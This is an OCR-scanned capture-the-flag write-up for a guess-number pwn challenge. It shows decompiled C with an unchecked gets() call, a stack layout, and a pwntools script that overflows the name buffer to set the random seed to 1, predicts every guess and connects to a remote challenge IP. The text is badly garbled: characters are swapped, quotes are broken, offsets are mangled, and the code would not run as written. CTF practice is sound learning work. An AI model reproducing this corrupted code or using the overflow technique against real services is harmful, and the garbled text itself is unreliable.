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*(_QWORD *)seed = sub_BB@();

L (R SRS S A ———— "y;
puts("Welcome to a guess number game!");
pUtS(" _______________________________ n);

puts("Please let me know your name!");
printf("Your name:", OLL);
gets(&v7) ; em——r
srand(seed[@]);
for ( 1 =0; 1 <= 9; ++i )
{
= rand() % 6 + 1;

printf("------------- Turn:%d------------- \n", (unsigned int)(3

printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
putS(" _________________________________ r-);
{

pUtS("GG!“)i
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}

puts("Success!");

1
sub_C3E[);
return OLL;

R
Asub_C3ER#, KILFKAHRSLEI AT # Flflag

__inté4 sub_C3E()

{

printf("You are a prophet!\nHere is your flag!");

system("cat flag");

return eLL;
}

BEHEAVT

-0eoeoeeooeeeee3e var_38 db ?
-000000000LRBRB2F db ? ; undefined
-000800000000B08 2E db ? ; undefined
-000600000000082D | db ? ; undefined
-00oBeeeBeeeRRe2C db ? ; undefined
-0000000008000028 db ? ; undefined
-000800080008002A db ? ; undefined
-0000000008000029 db ? ; undefined
-00080008000800238 db ? ; undefined
-0000000008000027 db ? ; undefined
-000800080008B026 db ? ; undefined
-0000000008000025 db ? ; undefined
-000B0e0BeERRe24 db ? ; undefined
-0000000008000023 db ? ; undefined
-00oBeeBReeRR22 db ? ; undefined
-0000000008000021 db ? ; undefined
-000B000B00080020 db ? ; undefined
-000000000L0BRA1F db ? ; undefined
-00080000000B0e1E db ? ; undefined
-000000000800001D db ? ; undefined
-gooBeeeBeeeeRe1C db ? ; undefined
-0000000008000018 db ? ; undefined
-000800080008001A db ? ; undefined
-0000000008000019 db ? ; undefined
-000B0e0BEeEBRe13 db ? ; undefined
-0000000008000017 db ? ; undefined
-00oBBeoBEReBRe16 db ? ; undefined
-00oBBeeBReeBRe15 db ? ; undefined
-000000000B0eRe14 db ? ; undefined
-gooBeeoBeeeRRe13 db ? ; undefined
-0000000008000012 db ? ; undefined
-gooBeeeeeeeeRe11 db ? ; undefined
-0000000000000010 seed dd 2 dup(?)
-0eoeBeeooBReeees8 var_8 dg ?
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from pwn import*
from ctypes import*
p = remote("111.198.29.45",34097)
elf = ELF('7")
libc = cdll.LoadlLibrary('/Llib/x86_64-1inux-gnu/1libc.s0.6"')
payload = 'A'*0x20+p64(1)
p.recvuntil('name:")
p.sendline(payload)
libc.srand(1)
for 1 in range(10):
num = str{libc.rand()%6+1)
p.recvuntil{ ' number:")
p.sendline(num)
p.interactive()

Opening connection to 111.198.29.45 on port 34897: Done
'/home f1s /\xe6\xal\xBc\xed\x9d\xa2 /xctf/pwn/7'

Arch: amd64-64-1ittle

RELRO: Partial RELRO

Stack:

NX:
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Switching to interactive mode
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